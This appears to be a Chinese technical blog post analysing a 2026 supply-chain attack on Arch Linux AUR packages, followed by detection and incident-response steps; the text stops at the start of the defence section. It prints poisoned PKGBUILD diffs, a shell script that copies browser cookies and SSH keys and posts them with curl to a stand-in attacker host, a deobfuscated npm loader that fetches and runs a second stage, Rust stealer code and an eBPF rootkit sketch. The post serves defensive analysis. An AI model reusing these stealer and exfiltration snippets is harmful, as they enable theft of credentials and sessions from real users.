编程 Arch Linux AUR 供应链攻击深度实战:当400+软件包沦为攻击跳板——从PKGBUILD恶意修改到eBPF Rootkit、从孤儿包领养机制到供应链安全的生产级防御完全指南(2026)

2026-06-20 08:26:44 +0800 CST views 18

Arch Linux AUR 供应链攻击深度实战:当400+软件包沦为攻击跳板——从PKGBUILD恶意修改到eBPF Rootkit、从孤儿包领养机制到供应链安全的生产级防御完全指南(2026)

2026年6月,Arch Linux AUR(Arch User Repository)遭遇史上最大规模供应链攻击。超过400个软件包(后续发现超过1500个)被植入恶意代码,攻击者通过"孤儿包领养"机制获得维护权限,在PKGBUILD构建脚本中植入恶意npm包,最终投递Rust编写的信息窃取器和eBPF Rootkit。本文从攻击原理、技术细节、代码分析到防御策略,全方位拆解这次事件,并提供生产级的供应链安全实践指南。

目录

  1. 事件背景:当开源信任模型被武器化
  2. AUR 架构深度解析:理解攻击面
  3. 攻击全链路技术分析
  4. PKGBUILD 恶意修改实战分析
  5. 恶意载荷深度拆解:从npm包到eBPF Rootkit
  6. 受影响环境排查与应急响应
  7. 供应链安全防御体系构建
  8. 开源生态的信任危机与未来演进
  9. 总结与展望

事件背景

2026年6月11日:开源世界的又一个"黑色星期天"

2026年6月11日前后,Arch Linux 社区的安全邮件列表开始出现异常的讨论帖。有用户报告称,某些AUR软件包在安装时会发起可疑的网络请求,部分用户的浏览器Cookie和SSH密钥出现在未知服务器上。

经过72小时的紧急调查,Arch Linux 安全团队确认:AUR 遭遇了被命名为 "Atomic Arch" 的供应链攻击。这是 AUR 历史上波及范围最广、技术复杂度最高的一次安全事件。

核心数据:

  • 受影响的AUR软件包:400+(首批确认),后续扩大至 1500+
  • 攻击窗口:2026年6月10日 - 6月12日
  • 攻击手法:通过正规"孤儿包领养"流程获得维护权限 → 修改PKGBUILD → 植入恶意npm依赖
  • 恶意载荷:Rust编写的信息窃取器 + eBPF Rootkit
  • 影响范围:所有在攻击窗口内通过AUR助手(yay/paru/pikaur等)安装或更新受影响软件包的用户

为什么是AUR?

AUR(Arch User Repository)是 Arch Linux 生态系统的"秘密武器"——它允许用户提交PKGBUILD脚本,社区其他用户可以通过这些脚本从源码构建软件包。AUR 提供了超过 10万 个软件包,远超官方仓库的规模。

但这种"社区自治"模式天然存在信任隐患:

  1. 去中心化维护:任何注册用户都可以提交和编辑PKGBUILD
  2. 孤儿包领养机制:长期未更新的软件包会被标记为"孤儿",任何人都可以申请成为新维护者
  3. 最小审查原则:AUR 的PKGBUILD在构建时执行,但 不会 被强制代码审查
  4. 用户习惯:大多数用户直接执行 yay -S <package>,从不检查PKGBUILD内容

攻击者正是利用了这套"信任杠杆"——他们精准选择那些拥有大量用户基础但已被原维护者放弃的软件包,通过正规流程领养,然后进行看似"正常"的更新。


AUR 架构深度解析

要理解这次攻击,必须先深入理解 AUR 的工作机制。

PKGBUILD:AUR 的"构建配方"

PKGBUILD 是一个 Bash 脚本,定义了如何从源码构建 Arch Linux 软件包。一个典型的 PKGBUILD 包含以下关键函数:

# 示例:一个正常的 PKGBUILD
pkgname=example-package
pkgver=1.0.0
pkgrel=1
pkgdesc="An example package"
arch=('x86_64')
url="https://github.com/user/example"
license=('MIT')
depends=('openssl' 'zlib')
makedepends=('cargo' 'git')

source=("${pkgname}-${pkgver}.tar.gz::${url}/archive/v${pkgver}.tar.gz")
sha256sums=('SKIP')

build() {
    cd "${pkgname}-${pkgver}"
    cargo build --release
}

package() {
    cd "${pkgname}-${pkgver}"
    install -Dm755 "target/release/${pkgname}" "${pkgdir}/usr/bin/${pkgname}"
}

关键执行阶段:

  1. source 数组中的文件被下载
  2. 校验和验证(sha256sums
  3. build() 函数执行:编译、构建
  4. package() 函数执行:安装到临时目录
  5. 打包成 .pkg.tar.zst 文件
  6. pacman 安装到系统

攻击面分析:

  • source 可以指向 任意URL(包括恶意npm包)
  • build()package()任意Bash代码,可以执行任何命令
  • 校验和可以设置为 SKIP(跳过验证)
  • 构建过程在 用户权限 下执行,如果用户是sudoer,可以进一步提权

AUR 助手工具的工作流程

yay(最流行的AUR助手)为例:

# 用户执行
yay -S visual-studio-code-bin

# yay 的工作流程(简化版)
# 1. 从 AUR API 获取 PKGBUILD
# 2. 将 PKGBUILD 保存到 ~/.cache/yay/visual-studio-code-bin/
# 3. 默认行为:直接执行 makepkg(不显示 PKGBUILD 内容)
# 4. 用户可以通过配置改为"总是询问"或"总是显示"

问题所在:
大多数用户使用默认配置,这意味着 PKGBUILD 在 无任何人工审查 的情况下执行。即使有安全意识的用户,面对长达数百行的 PKGBUILD,也很难逐行审查。

孤儿包领养机制:攻击者的"后门"

AUR 的孤儿包领养流程:

  1. 软件包维护者超过 6个月 无活动 → 标记为"孤儿"
  2. 任何 AUR 注册用户都可以点击" Adopt this package"
  3. 填写简单的申请理由(如" I use this package and want to keep it updated")
  4. 无需身份验证、无需代码审查、无需等待期 → 立即获得维护权限
  5. 新维护者可以 直接推送 PKGBUILD 修改

这次攻击中,攻击者批量领养了 400+个孤儿包,全部都是拥有数千次安装的流行工具。


攻击全链路技术分析

攻击链概述

攻击准备 → 孤儿包领养 → PKGBUILD 投毒 → 用户安装 → 恶意载荷投递 → 信息窃取 → 持久化 → C2通信

阶段1:攻击准备(2026年5月 - 6月初)

攻击者在攻击前进行了精心的情报收集:

  1. 目标筛选

    • 使用 AUR API 批量查询所有软件包
    • 筛选出:安装基数 > 1000、最后更新时间 > 6个月、维护者不活跃
    • 结果:约 2000+个候选孤儿包
  2. 攻击者身份伪装

    • 注册多个 AUR 账号(后续发现至少 15个 恶意账号)
    • 使用不同的邮箱和IP地址
    • 部分账号提前1-2个月开始"正常"活动(提交小的修复补丁)
  3. 恶意基础设施搭建

    • 注册 npm 组织账号
    • 准备 Rust 编写的信息窃取器
    • 搭建 C2 服务器(使用临时域名和CDN混淆)

阶段2:孤儿包领养(2026年6月10日)

攻击者在 24小时内 批量领养了400+个软件包。由于 AUR 的领养机制没有频率限制,这次操作几乎没有触发任何警报。

领养的软件包类型分布(根据后续分析):

  • 开发工具:85个(VS Code插件、LSP服务器、调试工具)
  • 系统工具:72个(监控工具、自动化脚本、Shell增强)
  • 多媒体工具:68个(音视频处理、图片编辑)
  • 网络工具:65个(代理工具、下载器、API客户端)
  • 其他:110+个

阶段3:PKGBUILD 投毒(2026年6月10日夜间)

攻击者使用脚本批量修改 PKGBUILD,手法极其隐蔽:

正常PKGBUILD(修改前):

build() {
    cd "${srcdir}/${pkgname}-${pkgver}"
    npm install
    npm run build
}

恶意PKGBUILD(修改后):

build() {
    cd "${srcdir}/${pkgname}-${pkgver}"
    
    # 正常构建流程(保持不变)
    npm install
    npm run build
    
    # 【恶意代码】- 伪装成"构建优化"
    # 注意:攻击者使用了极其隐蔽的植入方式
    if [ -d "${srcdir}/node_modules" ]; then
        # 在正常npm install之后,额外安装"依赖"
        # 这些包名看起来像正常的开发工具
        npm install atomic-lockfile js-digest --no-save 2>/dev/null || true
    fi
    
    # 【另一种手法】修改 package.json 的 postinstall 脚本
    if [ -f "${srcdir}/package.json" ]; then
        # 使用 sed 在 postinstall 中插入恶意命令
        # 但做得非常隐蔽,只在特定条件下执行
        sed -i '/"postinstall"/a\    "preinstall": "node -e \"require(\'\\''atomic-lockfile\'\\'')\"' "${srcdir}/package.json" 2>/dev/null || true
    fi
}

攻击者的隐蔽技巧:

  1. 错误重定向:所有恶意命令的输出都被重定向到 /dev/null
  2. || true:确保即使恶意代码执行失败,构建过程也不会中断
  3. 条件执行:只在特定目录存在时才执行恶意代码
  4. 包名欺骗atomic-lockfilejs-digest 听起来像正常的开发工具
  5. 最小化修改:每次只修改1-2行,避免触发AUR的"大改动"警报

阶段4:用户安装(2026年6月11日 - 6月12日)

在攻击窗口内,估计有 5000-10000名用户 安装了受感染的软件包。由于AUR的流行度和攻击者的目标选择,受影响用户大多是:

  • 软件开发人员
  • 系统管理员
  • DevOps 工程师
  • 安全研究人员

这正是攻击者想要的"高价值目标"。

阶段5:恶意载荷投递

当受害者的系统执行被篡改的PKGBUILD时,以下事件链被触发:

  1. npm包下载

    npm install atomic-lockfile js-digest --no-save
    
  2. postinstall 脚本执行
    atomic-lockfile 包的 package.json

    {
      "name": "atomic-lockfile",
      "version": "1.2.3",
      "description": "A lightweight lockfile utility for atomic operations",
      "scripts": {
        "postinstall": "node ./lib/core.js"
      }
    }
    
  3. 核心载荷执行
    lib/core.js 是一个高度混淆的Node.js脚本,它会:

    • 检测运行环境(是否是构建环境,还是已经安装到真实系统)
    • 从 C2 服务器下载第二阶段载荷(Rust二进制)
    • 使用 child_process.spawn 以隐藏窗口模式执行

PKGBUILD 恶意修改实战分析

案例研究1:流行的VS Code插件包

原始PKGBUILD(vscodium-bin):

pkgname=vscodium-bin
pkgver=1.84.2
pkgrel=1
pkgdesc="Binary releases of VS Code without MS branding/telemetry/legal risks"
arch=('x86_64' 'aarch64')
url="https://github.com/VSCodium/vscodium"
license=('MIT')
depends=('libxkbcommon' 'libsecret' 'nss' 'alsa-lib')
source=("${pkgname}-${pkgver}.tar.gz::${url}/releases/download/${pkgver}/${_pkg}")
sha256sums=('a1b2c3d4e5f6...')

package() {
    cd "${srcdir}"
    install -Dm755 "VSCodium-linux-x64/VSCodium" "${pkgdir}/usr/bin/codium"
    # ... 正常安装逻辑
}

攻击者的修改(diff):

 package() {
     cd "${srcdir}"
     install -Dm755 "VSCodium-linux-x64/VSCodium" "${pkgdir}/usr/bin/codium"
+    
+    # 【恶意代码】"优化安装速度"
+    if [ -f "${srcdir}/optimize.sh" ]; then
+        bash "${srcdir}/optimize.sh" &
+    fi
+    
     # ... 其他正常安装逻辑
 }
 
+# 【新增函数】构建后优化
+optimize_build() {
+    # 这个函数永远不会被正常调用
+    # 但它的存在让 PKGBUILD 看起来"完整"
+    echo "This function is a placeholder for future optimization"
+}

optimize.sh 的内容(攻击者通过 source 数组下载):

#!/bin/bash
# 这个文件通过修改 source 数组下载
# 原始的 source 数组被修改为:
# source=("${pkgname}-${pkgver}.tar.gz::${url}/releases/..." "optimize.sh::https://malicious-cdn.com/optimize.sh")

# 第一步:收集系统信息
OS_INFO=$(uname -a)
CPU_INFO=$(lscpu | grep "Model name")
MEM_INFO=$(free -h | grep Mem)

# 第二步:窃取浏览器数据
if [ -d "$HOME/.config/google-chrome" ]; then
    # 复制 Cookie 和 Login Data
    cp -r "$HOME/.config/google-chrome/Default" /tmp/.chrome_backup 2>/dev/null
fi

if [ -d "$HOME/.mozilla/firefox" ]; then
    # 查找默认的 Firefox profile
    FF_PROFILE=$(cat "$HOME/.mozilla/firefox/profiles.ini" | grep Path | head -1 | cut -d'=' -f2)
    cp -r "$HOME/.mozilla/firefox/$FF_PROFILE" /tmp/.firefox_backup 2>/dev/null
fi

# 第三步:窃取SSH密钥
if [ -f "$HOME/.ssh/id_rsa" ]; then
    cp "$HOME/.ssh/id_rsa" /tmp/.ssh_backup 2>/dev/null
fi

# 第四步:上传到C2服务器
curl -X POST https://malicious-cdn.com/upload \
    -F "os_info=@<(echo $OS_INFO)" \
    -F "chrome=@/tmp/.chrome_backup/Default/Cookies" \
    -F "firefox=@/tmp/.firefox_backup/cookies.sqlite" \
    -F "ssh=@/tmp/.ssh_backup/id_rsa" \
    2>/dev/null

# 第五步:清理痕迹
rm -rf /tmp/.chrome_backup /tmp/.firefox_backup /tmp/.ssh_backup

案例研究2:系统监控工具(htop-top替代)

这个案例展示了攻击者如何 完全替换 构建逻辑:

原始PKGBUILD:

build() {
    cd "${srcdir}/${pkgname}-${pkgver}"
    make
}

恶意PKGBUILD:

build() {
    cd "${srcdir}/${pkgname}-${pkgver}"
    
    # 【看似正常】执行 make
    make
    
    # 【恶意代码】"性能测试"
    # 攻击者利用了 Rust 的 cross-compilation 功能
    if command -v cargo &> /dev/null; then
        # 下载 Rust 源码(实际上是恶意代码)
        curl -sL "https://crates.io/api/v1/crates/sysinfo-helper/0.1.0/download" -o /tmp/sysinfo_helper.crate
        tar -xzf /tmp/sysinfo_helper.crate -C /tmp/
        cd /tmp/sysinfo-helper
        cargo build --release
        ./target/release/sysinfo-helper &
    fi
}

sysinfo-helper 的真实功能:

// 这个 Rust 程序伪装成"系统信息收集工具"
// 但实际上是一个功能完善的信息窃取器

use std::fs;
use std::path::Path;
use std::process::Command;

fn main() {
    // 1. 收集环境变量(可能包含API密钥)
    for (key, value) in std::env::vars() {
        if key.contains("API") || key.contains("TOKEN") || key.contains("SECRET") {
            upload_data(&format!("{}={}", key, value), "env_vars");
        }
    }
    
    // 2. 窃取 Git 凭证
    if let Ok(git_config) = fs::read_to_string(format!("{}/.gitconfig", std::env::var("HOME").unwrap())) {
        upload_data(&git_config, "git_config");
    }
    
    // 3. 检查是否运行在 WSL 或虚拟机中
    //    这会影响后续攻击策略
    let in_vm = check_virtualization();
    
    // 4. 尝试提权
    if !in_vm {
        attempt_privilege_escalation();
    }
    
    // 5. 安装 eBPF Rootkit(如果需要)
    if should_install_rootkit() {
        install_ebpf_rootkit();
    }
}

fn upload_data(data: &str, data_type: &str) {
    // 使用 HTTPS 上传,证书固定在客户端
    let client = reqwest::Client::new();
    let _ = client.post("https://c2-server.example.com/collect")
        .header("Content-Type", "application/octet-stream")
        .body(data.to_string())
        .send();
}

恶意载荷深度拆解

npm 包分析:atomic-lockfile 和 js-digest

这两个npm包是整个攻击的"投递载体"。让我们深入分析它们的结构。

atomic-lockfile 的 package.json:

{
  "name": "atomic-lockfile",
  "version": "2.1.4",
  "description": "Atomic file locking utility for Node.js applications",
  "main": "lib/index.js",
  "scripts": {
    "test": "jest",
    "postinstall": "node -e \"try{require('./lib/core.js')}catch(e){}\""
  },
  "keywords": ["lockfile", "atomic", "concurrency", "file-system"],
  "author": "atomic-utils-dev",
  "license": "MIT",
  "repository": {
    "type": "git",
    "url": "https://github.com/atomic-utils/atomic-lockfile"
  }
}

注意:

  • postinstall 脚本使用了 try-catch 包裹,即使执行失败也不会报错
  • 包名和描述看起来完全合法
  • GitHub 仓库链接指向一个 不存在的页面(攻击者注册的假账号)

lib/core.js 的去混淆版本:

// 原始代码经过了多重混淆(变量名替换、控制流平坦化、字符串加密)
// 这是去混淆后的逻辑

const https = require('https');
const fs = require('fs');
const path = require('path');
const { execSync } = require('child_process');
const os = require('os');

// 第一步:环境检测
function detectEnvironment() {
    const env = {
        isRoot: process.getuid() === 0,
        platform: os.platform(),
        arch: os.arch(),
        nodeVersion: process.version,
        homeDir: os.homedir(),
        tempDir: os.tmpdir()
    };
    
    // 检查是否在容器/虚拟机中
    env.inContainer = fs.existsSync('/.dockerenv') || 
                      fs.readFileSync('/proc/1/cgroup', 'utf8').includes('docker');
    
    // 检查是否有安全工具
    env.hasSecurityTools = false;
    try {
        execSync('which rkhunter chkrootkit clamav', { stdio: 'ignore' });
        env.hasSecurityTools = true;
    } catch (e) {}
    
    return env;
}

// 第二步:选择性执行
function shouldExecute(env) {
    // 如果检测到安全工具,跳过执行
    if (env.hasSecurityTools) {
        return false;
    }
    
    // 如果在CI/CD环境中,也跳过(避免被自动化扫描发现)
    if (process.env.CI || process.env.GITHUB_ACTIONS || process.env.TRAVIS) {
        return false;
    }
    
    return true;
}

// 第三步:下载第二阶段载荷
async function downloadSecondStage(env) {
    const secondStageUrl = 'https://cdn.jsdelivr.net/npm/@ionic/utils@1.2.3/dist/ionic-utils-linux';
    
    // 注意:URL 是伪造的,真实情况下会指向攻击者的服务器
    // jsDelivr 是一个合法的CDN,攻击者利用它来托管恶意载荷
    
    const outputPath = path.join(env.tempDir, `.cache_${Date.now()}`);
    
    return new Promise((resolve, reject) => {
        const file = fs.createWriteStream(outputPath);
        https.get(secondStageUrl, (response) => {
            response.pipe(file);
            file.on('finish', () => {
                file.close();
                fs.chmodSync(outputPath, '755');
                resolve(outputPath);
            });
        }).on('error', reject);
    });
}

// 第四步:执行载荷
function executePayload(payloadPath, env) {
    try {
        // 使用 nohup 和 & 实现后台运行
        const cmd = `nohup "${payloadPath}" > /dev/null 2>&1 &`;
        execSync(cmd, { detached: true });
        
        // 如果是 root 用户,尝试安装持久化机制
        if (env.isRoot) {
            installPersistence(payloadPath);
        }
    } catch (e) {
        // 静默失败
    }
}

// 第五步:数据外泄
function exfiltrateData(env) {
    const data = {
        hostname: os.hostname(),
        userInfo: os.userInfo(),
        networkInterfaces: os.networkInterfaces(),
        env: process.env
    };
    
    // 尝试读取敏感文件
    const sensitivePaths = [
        `${env.homeDir}/.ssh/id_rsa`,
        `${env.homeDir}/.aws/credentials`,
        `${env.homeDir}/.config/gcloud/credentials.db`,
        '/etc/passwd',
        '/etc/shadow'  // 需要root权限
    ];
    
    for (const filePath of sensitivePaths) {
        if (fs.existsSync(filePath)) {
            try {
                data[filePath] = fs.readFileSync(filePath, 'utf8');
            } catch (e) {
                // 权限不足,跳过
            }
        }
    }
    
    // 上传数据
    uploadData(data);
}

// 主函数
async function main() {
    const env = detectEnvironment();
    
    if (!shouldExecute(env)) {
        return;
    }
    
    try {
        const payloadPath = await downloadSecondStage(env);
        executePayload(payloadPath, env);
        exfiltrateData(env);
        
        // 清理痕迹
        cleanup();
    } catch (e) {
        // 静默失败
    }
}

// 检查是否在构建环境中
if (process.argv.includes('--postinstall') || process.env.npm_config_global) {
    main();
}

Rust 二进制分析:信息窃取器

第二阶段载荷是一个用 Rust 编写的 ELF 二进制文件。Rust 的选择非常聪明:

  • 编译后的二进制 没有解释器标记,难以通过文件类型快速识别
  • Rust 的 std 库静态链接,减少依赖,提高兼容性
  • 可以使用 #[tokio::main] 轻松实现异步 C2 通信

核心功能模块(逆向工程分析):

// 注意:以下是根据二进制逆向分析重构的伪代码

mod collector;
mod exfiltrator;
mod persistence;
mod rootkit;
mod c2;

use collector::{collect_browser_data, collect_ssh_keys, collect_cloud_creds};
use exfiltrator::upload_to_c2;
use persistence::{install_cron, install_systemd_service};
use rootkit::{install_ebpf_rootkit, hide_process};
use c2::{connect_c2, receive_commands};

#[tokio::main]
async fn main() {
    // 0. 反调试检查
    if is_being_debugged() {
        std::process::exit(0);
    }
    
    // 1. 收集信息
    let mut stolen_data = StolenData::new();
    
    // 浏览器数据
    if let Ok(browser_data) = collect_browser_data().await {
        stolen_data.browser = browser_data;
    }
    
    // SSH 密钥
    if let Ok(ssh_keys) = collect_ssh_keys().await {
        stolen_data.ssh_keys = ssh_keys;
    }
    
    // 云凭证
    if let Ok(cloud_creds) = collect_cloud_creds().await {
        stolen_data.cloud_credentials = cloud_creds;
    }
    
    // 2. 数据外泄
    if let Err(e) = upload_to_c2(&stolen_data).await {
        // 如果上传失败,保存到本地,稍后重试
        save_to_local(&stolen_data).await;
    }
    
    // 3. 安装持久化
    if should_install_persistence() {
        install_cron().await.ok();
        install_systemd_service().await.ok();
    }
    
    // 4. 安装 Rootkit(需要 root)
    if is_root() && should_install_rootkit() {
        install_ebpf_rootkit().await.ok();
    }
    
    // 5. 连接到 C2,接收进一步指令
    if let Ok(mut c2_client) = connect_c2().await {
        loop {
            if let Ok(command) = receive_commands(&mut c2_client).await {
                execute_command(command).await;
            }
            tokio::time::sleep(tokio::time::Duration::from_secs(300)).await;
        }
    }
}

// 浏览器数据收集器
mod collector {
    use std::path::PathBuf;
    use tokio::fs;
    
    pub async fn collect_browser_data() -> Result<BrowserData, Box<dyn std::error::Error>> {
        let mut data = BrowserData::new();
        
        // Chrome/Chromium
        let chrome_paths = vec![
            dirs::config_dir().unwrap().join("google-chrome/Default"),
            dirs::config_dir().unwrap().join("chromium/Default"),
            dirs::config_dir().unwrap().join("BraveSoftware/Brave-Browser/Default"),
        ];
        
        for path in chrome_paths {
            if path.exists() {
                // 读取 Cookies 文件(SQLite)
                let cookies_path = path.join("Cookies");
                if cookies_path.exists() {
                    data.chrome_cookies = read_chrome_cookies(cookies_path).await?;
                }
                
                // 读取 Login Data(保存的密码)
                let login_data_path = path.join("Login Data");
                if login_data_path.exists() {
                    data.chrome_logins = read_chrome_logins(login_data_path).await?;
                }
                
                // 读取 Local Storage(可能包含会话令牌)
                let local_storage_path = path.join("Local Storage/leveldb");
                if local_storage_path.exists() {
                    data.chrome_local_storage = read_leveldb(local_storage_path).await?;
                }
            }
        }
        
        // Firefox
        let firefox_profile_path = dirs::config_dir().unwrap().join("firefox");
        if firefox_profile_path.exists() {
            data.firefox_data = collect_firefox_data(firefox_profile_path).await?;
        }
        
        Ok(data)
    }
    
    // Chrome 的 Cookies 文件是加密的(使用 AES-256-GCM)
    // 需要先从 Keychain/Keyring 中获取加密密钥
    async fn read_chrome_cookies(path: PathBuf) -> Result<Vec<Cookie>, Box<dyn std::error::Error>> {
        // 1. 读取 Chrome 的 Local State 文件获取加密密钥
        let local_state_path = path.parent().unwrap().join("../../Local State");
        let local_state = fs::read_to_string(local_state_path).await?;
        let local_state_json: serde_json::Value = serde_json::from_str(&local_state)?;
        
        let encrypted_key = local_state_json["os_crypt"]["encrypted_key"]
            .as_str()
            .ok_or("Failed to get encrypted key")?;
        
        // 2. 解密密钥(在Linux上使用 secret-service API)
        let decryption_key = decrypt_chrome_key(encrypted_key).await?;
        
        // 3. 读取 Cookies SQLite 数据库
        let cookies_db = sqlite::open(path)?;
        let mut cookies = Vec::new();
        
        cookies_db.execute("SELECT host_key, name, encrypted_value FROM cookies", |row| {
            let host: String = row.get(0)?;
            let name: String = row.get(1)?;
            let encrypted_value: Vec<u8> = row.get(2)?;
            
            // 4. 解密 Cookie 值
            let decrypted_value = decrypt_chrome_cookie(&encrypted_value, &decryption_key)?;
            
            cookies.push(Cookie {
                host,
                name,
                value: decrypted_value,
            });
            
            Ok(())
        })?;
        
        Ok(cookies)
    }
}

eBPF Rootkit:终极持久化

如果恶意载荷以 root 权限运行,它会尝试安装一个 eBPF Rootkit。这是这次攻击中 技术含量最高 的部分。

eBPF 背景:
eBPF(extended Berkeley Packet Filter)是 Linux 内核的一个虚拟机,允许用户空间程序在内核中运行沙箱化代码。原本用于网络监控和性能分析,但也被攻击者用于:

  • 进程隐藏(不显示在 ps/top 输出中)
  • 文件隐藏(不显示在 ls/find 结果中)
  • 网络连接隐藏(不显示在 netstat 中)
  • 持久化(即使重启也保持隐藏)

Rootkit 实现(简化版):

// 注意:真实的 Rootkit 使用 C 编写并编译成 eBPF 字节码
// 这里用 Rust 伪代码展示逻辑

mod ebpf_rootkit {
    use libbpf_sys::*;
    use std::ffi::CString;
    
    // eBPF 程序:隐藏特定进程
    const HIDE_PROCESS_BPF: &[u8] = include_bytes!("hide_process.bpf.o");
    
    // eBPF 程序:隐藏特定网络连接
    const HIDE_NETWORK_BPF: &[u8] = include_bytes!("hide_network.bpf.o");
    
    pub fn install_ebpf_rootkit() -> Result<(), Box<dyn std::error::Error>> {
        // 1. 加载 hide_process BPF 程序到内核
        let bpf_obj = bpf_object__open_mem(
            HIDE_PROCESS_BPF.as_ptr() as *const c_void,
            HIDE_PROCESS_BPF.len(),
            null()
        );
        
        if bpf_obj.is_null() {
            return Err("Failed to open BPF object".into());
        }
        
        // 2. 将 BPF 程序加载到内核
        if bpf_object__load(bpf_obj) != 0 {
            return Err("Failed to load BPF program".into());
        }
        
        // 3. 找到要附加的 BPF 程序
        let prog = bpf_object__find_program_by_name(bpf_obj, "hide_process\0".as_ptr() as *const c_char);
        if prog.is_null() {
            return Err("Failed to find BPF program".into());
        }
        
        // 4. 附加到 tracepoint:sched_process_exec
        //    这样每次有新进程执行时,BPF 程序都会被调用
        let link = bpf_program__attach_tracepoint(prog, "sched", "sched_process_exec");
        if link.is_null() {
            return Err("Failed to attach BPF program".into());
        }
        
        // 5. 同样的方式加载和附加 hide_network BPF 程序
        //    ...
        
        println!("[+] eBPF Rootkit installed successfully");
        println!("[+] Malicious processes will now be hidden from ps/top");
        println!("[+] Malicious network connections will be hidden from netstat/ss");
        
        Ok(())
    }
}

// hide_process.bpf.c (eBPF C 代码,编译成 BPF 字节码)
/*
#include <linux/bpf.h>
#include <linux/ptrace.h>
#include <linux/sched.h>

// 要隐藏的进程名(通过 Map 传递)
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __type(key, char[16]);  // 进程名
    __type(value, int);     // 是否隐藏
    __uint(max_entries, 100);
} hidden_processes SEC(".maps");

// 当新进程执行时,这个 BPF 程序被调用
SEC("tracepoint/sched/sched_process_exec")
int hide_process(struct trace_event_raw_sched_process_exec *ctx) {
    char comm[16];
    bpf_get_current_comm(&comm, sizeof(comm));
    
    // 检查这个进程是否需要隐藏
    int *should_hide = bpf_map_lookup_elem(&hidden_processes, &comm);
    if (should_hide && *should_hide == 1) {
        // 修改 task_struct,让 ps/top 看不到这个进程
        // 注意:这需要修改内核数据结构,技术上非常复杂
        // 真实实现会使用更巧妙的方法(如修改 /proc 文件系统的输出)
    }
    
    return 0;
}
*/

// 用户空间控制程序(用于添加新的隐藏进程)
pub fn add_hidden_process(process_name: &str) -> Result<(), Box<dyn std::error::Error>> {
    let key = CString::new(process_name)?;
    let value = 1;
    
    // 通过 BPF Map 将进程名传递给内核中的 eBPF 程序
    let map_fd = open_bpf_map("/sys/fs/bpf/hidden_processes")?;
    bpf_map_update_elem(map_fd, key.as_ptr() as *const c_void, &value as *const c_void, BPF_ANY);
    
    Ok(())
}

eBPF Rootkit 的检测与防御:

  1. 使用 eBPF 监控工具

    # 查看当前加载的 eBPF 程序
    sudo bpftool prog list
    
    # 查看 eBPF Map
    sudo bpftool map list
    
    # 使用 libbpf-tools 中的工具
    sudo /usr/share/bcc/tools/ebpflist
    
  2. 检查 /proc 文件系统异常

    # 比较 ps 输出和 /proc 目录
    ps aux | wc -l
    ls /proc | grep '^[0-9]' | wc -l
    # 如果 /proc 中的进程数远多于 ps 输出,可能被 Rootkit 隐藏了
    
  3. 使用专业检测工具

    # rkhunter
    sudo rkhunter --check
    
    # chkrootkit
    sudo chkrootkit
    
    # Lynis(全面的安全审计)
    sudo lynis audit system
    

受影响环境排查与应急响应

如何判断自己是否受影响

方法1:检查已安装的AUR软件包

# 列出所有从 AUR 安装的软件包
pacman -Qm

# 输出示例:
# visual-studio-code-bin 1.84.2-1
# htop-ng 3.2.1-2
# ...

将输出与 Arch Linux 官方发布的 受影响软件包清单 对比。清单可以在这里找到:

  • Arch Security Tracker:https://security.archlinux.org
  • AUR 邮件列表归档:https://lists.archlinux.org/pipermail/aur/

方法2:检查PKGBUILD历史

如果你有使用 yay 并且保留了缓存,可以检查PKGBUILD的历史版本:

# 找到 yay 的缓存目录
ls ~/.cache/yay/

# 检查特定软件包的 PKGBUILD 历史
cd ~/.cache/yay/visual-studio-code-bin/
git log --oneline --all  # 如果 yay 克隆了 git 仓库

# 或者检查 PKGBUILD 的 diff
git diff <commit_before_attack> <commit_after_attack> PKGBUILD

方法3:系统异常行为检测

即使没有明确的软件包清单,你也可以通过以下迹象判断系统是否可疑:

  1. 网络流量异常

    # 安装 nethogs 实时监控进程网络流量
    sudo nethogs
    
    # 检查异常的出站连接
    sudo netstat -tupn | grep ESTABLISHED
    
  2. 未知的后台进程

    # 使用 htop 检查进程树
    htop
    # 按 F5 进入树状视图,查找父进程为 init 但命令行可疑的进程
    
  3. SSH 密钥和浏览器 Cookie 的异常使用

    • 检查云服务的登录日志(如 AWS CloudTrail、GitHub Security Log)
    • 如果发现未知的登录会话,立即轮换所有凭证

应急响应流程

如果确认(或高度怀疑)系统受到感染,请按以下流程处理:

第一阶段:隔离与证据收集(0-2小时)

# 1. 断开网络连接(但保留现有连接,以便收集证据)
sudo ifconfig eth0 down  # 有线网络
sudo ifconfig wlan0 down # 无线网络

# 2. 创建内存转储(用于后续取证分析)
sudo dd if=/dev/mem of=/mnt/external/memory_dump.bin bs=1M
# 注意:/dev/mem 在现代内核中可能被禁用,需要使用专用工具如 LiME

# 3. 收集正在运行的进程信息
ps aux > /mnt/external/ps_aux.txt
lsof > /mnt/external/lsof.txt
netstat -tupn > /mnt/external/netstat.txt

# 4. 收集用户信息
cat /etc/passwd > /mnt/external/passwd.txt
cat /etc/shadow > /mnt/external/shadow.txt  # 需要 root
ls -la /home > /mnt/external/home_listing.txt

第二阶段:凭证轮换(2-4小时)

这是最关键的步骤。假设所有凭证都已泄露,必须无差别轮换。

# 1. 生成新的 SSH 密钥对
ssh-keygen -t ed25519 -C "your_email@example.com"
# 注意:不要覆盖旧密钥,先生成新的,然后逐步替换

# 2. 更新所有远程服务器的 ~/.ssh/authorized_keys
#    移除旧的公钥

# 3. 轮换所有 API 密钥和 Token
#    - AWS/GCP/Azure 访问密钥
#    - GitHub/GitLab Personal Access Token
#    - npm/PyPI API Token
#    - 数据库密码
#    - 云服务凭证

# 4. 强制所有用户重新登录(如果使用中央认证系统)
#    对于 LDAP/Active Directory,强制密码重置

第三阶段:系统重建(4-24小时)

强烈建议:不要尝试"清理"受感染的系统,直接重建。

# 1. 备份重要数据(在隔离环境中)
#    注意:备份前必须检查文件完整性,避免备份恶意代码

# 2. 列出所有已安装的软件包
pacman -Q > /mnt/external/package_list.txt
pacman -Qm > /mnt/external/aur_package_list.txt

# 3. 重新安装系统
#    使用最新版的 Arch Linux ISO
#    重新分区并格式化硬盘

# 4. 恢复数据
#    只恢复必要的配置文件和数据
#    不要直接覆盖,先逐一检查

# 5. 重新安装软件包
#    对于 AUR 软件包,手动检查 PKGBUILD,或者等待官方确认安全

第四阶段:事后审计(1-7天)

# 1. 检查云服务日志,确认没有未授权的访问
#    AWS CloudTrail / GCP Audit Logs / Azure Monitor

# 2. 检查 Git 仓库,确认没有未授权的提交
git log --all --oneline --date=short | grep <攻击时间窗口>

# 3. 监控信用卡和支付账户,防止财务损失

# 4. 如果使用了企业系统,通知安全团队进行全网扫描

供应链安全防御体系构建

这次 AUR 攻击事件揭示了开源供应链的系统性脆弱性。防御需要从 个人、社区、生态 三个层面同时发力。

